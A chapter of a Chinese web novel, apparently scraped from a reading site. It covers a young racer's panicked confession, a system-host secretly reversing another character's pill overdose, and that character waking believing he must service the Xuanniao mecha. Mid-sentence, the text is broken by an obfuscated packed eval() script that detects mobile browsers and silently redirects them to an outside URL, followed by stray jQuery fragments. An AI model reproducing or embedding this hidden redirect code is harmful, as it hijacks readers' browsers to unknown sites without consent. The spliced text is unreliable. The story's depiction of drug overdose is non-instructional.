……
等太久了。
周骁野盯着手机。
久到呼吸声在耳畔变得越来越清晰，他才猝然惊觉——这通好不容易才被接起的视频电话，原来在他发愣的时候，早就悄然挂断。
那些急促混乱的喘息是他自己的。
心跳也是，他站在风里，面颊滚烫，烟花不停炸开，血液撞着耳膜。
……他和哥说什么了？
疯了？！
周骁野险些丢掉烫手的金属方块，他回过神，用力按着那条消息，超过两分钟，没法撤回了，他手忙脚乱地捉稳手机，仓促打出几条语无伦次的解释——手机被抢了，队友恶作剧，真心话大冒险……不知道选哪个，绝望地试图一口气发过去。
夜空里烟花炸开的轰鸣引着数不清的人抬头。
嘈杂的、绚烂的刺眼花火下，十九岁的少年Alpha被钉成一个影子。
鲜红的。
刺眼的感叹号。
……
不远的休息区，教练刚拧开保温杯，恍惚似乎看见了个踉跄没礼貌的黑影撕开人群直冲过来。
教练觉得眼熟，眯着眼睛琢磨，没等看清，就被一股蛮力死死拽住衣领险些把脑袋摇掉。
“……周骁野！”教练拼命救出自己的领子，揪着后脖颈把这个宝贝头号种子选手硬生生扯开，“松手！你哥又怎么了！？”
教练愣了下。
周骁野不对劲，眼眶通红，脸却煞白，膝盖不停打着颤。
少年Alpha吃力地张了张嘴，神情恍惚，勉强挤出几个破碎的、不成句的音节。
教练意识到不对，这才慌了神，抛下还剩半杯水的保温杯，用力按住他抖得筛糠一样的肩膀：“怎么了？！说话！”
嗑药了？！？
教练的担心不是空穴来风，周骁野有过不止一次私自过量服用止痛药的前科。
虽说不是什么违禁药品，也和兴奋剂不沾边，不影响比赛，但当糖豆吃身体哪能顶得住！
周骁野吃力地摇头，喉咙微微滚动。
他很久……没乱吃过药了。
那些他偷着开回来的止痛药，被哥摸着他的脑袋没收，换成糖以后……橘子味的糖。
他在几十块一晚的廉价小旅馆和哥“偷情”。
他没有能上路的民用驾照，队友开车送他去的……嘴欠调侃让哥听见了。
“我胡说的嘛！”队友被揍得乱窜，叫苦不迭，“偷情怎么了！偷情就都是错吗？有什么大不了的……”
周骁野其实也不在乎，他们这些叛逆少年，恨不得碾碎所有规矩。
但这话让哥听了就该死。
他把人狠狠揍得鼻青脸肿，押过去老老实实道歉，看着哥站在旅馆暗弱的灯光下，宽大不合身的白衬衫被风吹起……劣质灯管苍白的光落在清俊侧脸。
那张脸白得透明，像一碰就碎的薄冰，神情淡得像雾。
……被他们拉拉扯扯吵得不行，哥才恍然回神，轻轻弯起浅薄荷色的眼睛，微微摇头，请他和朋友吃糖。
他还是心神不宁了很久。
所以那天晚上他乖。
他装小狗，拿脑袋拱哥的胳膊，直到把哥哄得露出一点笑。
他洗好了澡，把自己涮的干干净净才趴在哥的腿上，含着酸甜清新的橘子糖，被那只手轻轻摸着头发，就会傻乐。
哥肯定喜欢小狗，周骁野想，他听哥讲过老家的故事，山漂亮水也漂亮，有摘不完的野果、看不完的花、扑不完的蝴蝶，山明水秀间有只聪明勇敢的小黄狗。
周骁野吃小黄狗的醋，他也会叫，怎么哥说小狗的时候，眼睛就亮得像星星？
他不高兴地埋头咭哩咕哝，被温柔微凉轻轻抚摸后颈。
他看见浅薄荷色的眼睛朝他弯。
那个晚上很晴朗，没什么云，星星很多……到了后半夜，他在那个泛着淡淡霉味的廉价小旅馆里，温顺地跪着不动，咬着T恤露出胸肋那一片难看的青紫，让哥给他上药。
他都不给队医看，哥的手指蘸着半透明的绿色药膏，给他涂抹，他咬着牙根疼得吸气。
“以后小心，弟弟。”哥轻声劝他，“不可以……对身体这么坏。”
那天起周骁野就改了，他保证以后控制训练强度、注意安全，保证再也不随便弄伤自己。
哥教他，止痛药吃多了不好，身体为了配合他们活下来，每天都已经很辛苦了。
哥说每个人都要对自己的身体负责。
哥说偷偷吃药不是好孩子。
周骁野听。
那之后，他很久都没受过什么大伤，很久没吃过那些苦涩的白药片了。
……可是。
可是。
“哥……我……”周骁野的牙齿磕在一起，吃力地挤着字，冷汗顺着额角不停滚落，“我……”
“……拉黑？你哥？终于把你拉黑了？”
教练终于勉强听清了他在说什么，揉着脖子：“没信号吧？”
周骁野愣住。
他的声音轻得像虚脱：“……什么？”
教练把自己的手机给他看：“刚才全场电磁屏蔽了啊——你又发什么见不得人的东西了？”
虽然全队都等着这小子因为擦边被当变态屏蔽，但可惜，刚才功勋级的战略机甲玄鸟落地，随行的护航编队打开了全频段电磁屏障，什么消息都发不出去。
周骁野狼狈得像个在绞刑台上被赦免的逃犯。
他抓紧教练的袖子，指节泛白，结结巴巴地问：“屏蔽了……多久？”
“几分钟吧。”教练挠了挠后脑勺，“没注意。”
教练还在狐疑地打量他：“没事吧？你裸—聊了？”
终于到这一步了吗？
周骁野没时间回答，只是低头按亮手机，一遍遍疯狂刷新屏幕。
直到确认了所有信息都带着红色感叹号，才终于脱力地松了口气，抽了骨头一样瘫软下来，向后踉跄，后背撞上护栏。
教练看不得他这个没出息的样子，苦口婆心絮叨感情的危害、提高警惕的必要，这世上骗子很多，别有用心想攀高枝的也不是没有。
远的不说，就当初那件闹得很大全帝都都知道的事……
教练咬了下舌头，啰嗦刹停，及时噤声，没继续往下说。
周骁野也根本没听，抱着手机火急火燎检查，把屏幕怼到教练眼前：“这是被拉黑还是没有？”
嗓子哆嗦，六神无主。
晚回答一秒就要哭了。
“……”教练认命，叹了口气去接手机，“行了行了拿来我看看……”
……
沈不弃哼着“小枕头脏兮兮”，亲自一个一个往聊天框边上贴红色感叹号。
系统从来没跟过这么全自动的宿主，闲得有点过分，绕着周骁野那个手机转圈，问沈不弃：「真就要硬装没收到消息吗？」
十九岁车王的手速快，那几条消息，其实是在屏蔽最后三十秒争分夺秒挤进来的。
系统看得可清楚了。
周骁野想亲他。
「对大家都好嘛。」沈不弃唏嘘，「漂亮弟弟明天还有比赛。」
以牧川那边现在的局面，也不适合处理这么刺激炽烈的表白——裴疏刚为他的事和俱乐部彻底撕破脸。
架吵得昏天暗地。
裴疏宁可解约，放弃如日中天的大好前程不要，夭折掉职业生涯的黄金期，也不肯让牧川再去给那个见鬼的谢总敬一滴酒。
没他们什么发挥的余地，所以一人一统灵魂出窍，跑来这边给漂亮弟弟的手机贴小红感叹号。
沈不弃：「好感人啊。」
裴疏不肯让他受一丁点的委屈。
沈不弃再沉迷刷KPI，也总归有点基础的职业操守……这么悲壮的时候出轨显然是不大合适的。
系统有别的意见，系统觉得他就是还想看漂亮弟弟的擦边照片。
沈不弃从容得仿佛完全没看见，拉过牧川的身体数据面板，指尖在虚拟屏幕上轻点，轻车熟路地从胃里全选剪切走那些被无意识一颗接一颗吞下的药片。
正在静静腐蚀胃壁的化学物质，被暂时转移到数据回收站。
死亡倒计时暂停。
虽说就这么放着不管应该更精彩——裴疏做出了最艰难的抉择、感人至深的伟大牺牲，回来掀开被子，发现已经冷透的苍白尸体。
闻名遐迩的“贵公子”S级Omega抱着他那卑劣的低级配偶从观景台跳下去，显然也能拿一笔相当不菲的业绩点……但好难得啊。
沈不弃关掉虚拟屏幕。
他挺逍遥，飘在烟火冷去的夜色里，用牧川苍白的、被额发和镜框遮住的脸抬头。
吹了声一点也不牧川的口哨。
「看。」沈不弃拉着系统，放了个小烟花，光点碎成纷飞的粼粼糖霜，「漂不漂亮？」
系统愣了下，透过糖粉冒充的假烟花，看向降落在夜色里的庞然钢铁巨兽——漆黑的机械静默蛰伏，发动机尚有猩红余热，钢铁羽翼在夜风里微微震颤，沐浴星光。
玄鸟号。
功勋级战略机甲，执行了数百次高危任务，承载无数传奇荣光。
「有……点。」系统也是机械核心，本能怕这么个大怪物，往沈不弃袖子里钻，「它来来来干什么的？」
「表彰啊。」沈不弃说话的语气像唱歌，「它要退役了，服役期很圆满，和它一起退役的战士、操作师、维修师，都要和它一起接受这份永不磨灭的荣耀……」
系统愣了愣。
……
房间。
房间很空荡。
牧川慢慢睁开眼睛，他被照顾得很好，身体陷在柔软的床垫，蓬松的枕头托着他的后颈，盖着雪白轻盈的羽绒被子。
浅茶色的眼睛轻轻眨了眨，望着天花板。
过了几秒，他做了个阔别多年的动作——没用双手支撑，只是用腰腹的力量，就坐了起来。
羽绒被像融雪淌落。
他的动作流畅又忙碌，挪了挪双腿，发现不听使唤，只是微微怔了下，就用双手扳着腿挪到地上。
不自然软垂的青白脚尖擦着厚羊毛地毯。
他低头，有些困惑地看着自己的腿，像看一件不太成功的学生作业。
他试着捏了捏硌手的膝盖，又攥起拳头，在各个关节轻轻敲了几下，像修一个不听话的机器。
接着他站起来。
“欸！”哪边也吵不过的战队经理被两边骂得灰头土脸，被迫赶过来暂时看着这么个要命人物，刚推门就看见这一幕，吓了一跳箭步冲过去：“别乱动！裴疏说你——”
话还没说完，那个苍白消瘦的影子已经像没调试好的小机器人，直愣愣倒下去。
沉闷的一声。
牧川脸朝下倒在地毯上。
“说了别动别动……！下床干什么，摔着没有？”
经理吓得心脏跳到嗓子眼，慌忙给他扶起来擦灰，把人翻过来看清这张脸，却愣了下。
因为牧川——这个在他们印象里，总是低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653407|172843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着头，几乎看不清脸和眼睛，说话声音低到听不清，总穿着不合身松垮衬衫的乡下助理。
他们记得牧川是很给裴疏丢人的。
但现在不一样，他扶着的人微微仰起脸，额发滑落，露出浅得像稀释过头的清澈枫糖浆的眼睛……像是能叫人“咚”一声掉进去。
牧川被他从地上扶起，额头和鼻尖都沾了些灰，眼睛反而透出某种茫然的明冽清亮。
像是忽然醒来的融化冻水，倒映着清亮天光。
不见血色的干涸嘴唇，已经枯槁干裂，却抿着一丝恍惚的、轻快柔和的微微笑影——那种早已经死去多年的轻松温和的神情。
“我没……”他发现自己说话很吃力，口吃不清，温和的神情露出微弱的茫然，但随即就努力控制口齿，“我……没事，谢谢，您……”
牧川暂时停下来，抬手轻轻捏了下自己的脸。
仅剩的一点软肉被捏起来。
牧川安慰了下自己。
他定了定神，声音很轻，磕磕绊绊着，尽力把话说清楚：“我……好像，睡……过头了。”
他撑着那片厚实的赭红色地毯，想要靠这个动作就站起来。
经理愣了一瞬间——可能更久，但他发誓绝对不过十秒，乡下Alpha已经像小机器人一样又狼狈地叽里咕噜摔了两次。
接着，牧川有点找到平衡了。
他的两条腿都不停发软，但还是摇摇晃晃站起，像刚学会走路的乳鹿，跌跌撞撞支撑着瘦到轻飘的躯壳，在屋子里忙碌。
忙碌。
他在柜子里翻找。
经理越看越不对劲，干咽了下，过去拦住他，柜子里明明什么都没有：“你……找什么？”
不会吧？！
经理暗暗叫苦——裴疏是说过，这个助理有时候会发癔症，会胡言乱语发疯，可怎么偏偏在这个时候？！
“我……”牧川说，“找我的工服。”
短短几分钟，他站得越来越稳，说话居然也开始变得流畅了。
窗外，玄鸟的引擎还没有彻底熄灭。
漆黑的庞然大物投落巨影。
牧川的声音很轻，垂着睫毛，像在流畅地背诵某个烂熟于心的守则，像在梦呓。
“来不及了。”他说，“玄鸟只会落地四十五分钟，它是空天母舰，不会在地上停太久，维修员必须在二十七分钟内就位……三分钟……”
牧川忽然向外走，他光着脚，青冰似的苍白双脚沾了灰尘，淡青色的血管像是雪下埋着的嫩枝。
他愣愣地走到门边，想就这样打开门，拧了几下门把手，却困惑地发现自己被锁住。
门打不开。
经理扑过去一把扯住他。
“别闹了！快回来。”经理从牙缝里往外挤声音，生怕打扰了隆重典礼，传出去彻底成笑话，“人家玄鸟号的授勋仪式！和你这种人有半毛钱关系？”
牧川的身体微弱地僵了下。
浓雾——厚重的浓雾深处，有些模糊的画面，像是碎玻璃，扎进微微涣散的浅色虹膜。
他看着经理衣服上的俱乐部标志。
他见过这个标志。
……在他已经闭门不出很久，第一天被裴疏带出门，走进那个到处都是键鼠敲击声和游戏音效的别墅的时候。
“差不多。”裴疏握着他的手，柔声安慰他，“阿川，你喜欢机甲是不是？游戏里有很多，比你的酷。”
他记得……裴疏，那个总是温柔护着他的贵族同学，资助他的裴家继承人，裴疏对他好，拢着他的手，带着他，一笔一划地如实填写登记表。
当然。
当然做人要诚实，不可以撒谎。
他看着自己手里的笔，Alpha，E级，信息素：霉菌，边缘星系垃圾陨石带出身，辍学，入狱前科……
即使是这样，裴疏依然强迫俱乐部的人多照应牧川。
裴疏把牧川保护得很好——至少是裴疏在的时候，从没人敢使唤牧川做事，没人敢议论牧川坐牢的事、脏兮兮的信息素和乡下出身。
但也都知道，这是个靠关系进来的三流货色。
“你知道要被分到‘玄鸟’上，得是什么级别的精英吗！？”经理压低声音训斥，“给你一辈子也摸不着！别丢人了……”
牧川茫然地望着他。
仿佛短暂活过来的、恢复了微弱血色的脸庞，也像是又被那层雾遮住了。
“我……我是。”他吃力地辩解，“我是……1127号，维修员……我负责的是七号发动机……”
他的声音越来越低。
经理愣着，微妙地生出古怪心虚，牧川低着头，睫毛轻轻颤抖，像被该死的大人胡乱冤枉的孩子。
“我真的是……”
他急着说：“1127……七号发动机，它很老了，总闹脾气，三级跃迁总是出问题……”
这个从来被视作丢人累赘的助理，抿着唇，残疾的右手无措地比划着起飞前的检修流程。
经理皱紧眉头，沉默地看着牧川。
浅色的瞳孔悸颤着溢出水汽。
“我……我天天修的……”
他的声音越来越小，最后几个字，像戳破泡泡漏掉的气：“涡轮叶片……他们说，我修得好……”
他摸索着，吃力地，从怀里翻出手机，用手指按着解锁。
牧川想。
他得……得找个人帮忙证明。
他拨出电话，经理的眼睛惊恐地瞪圆，像被掐住喉咙，看着备注的“谢抵霄”。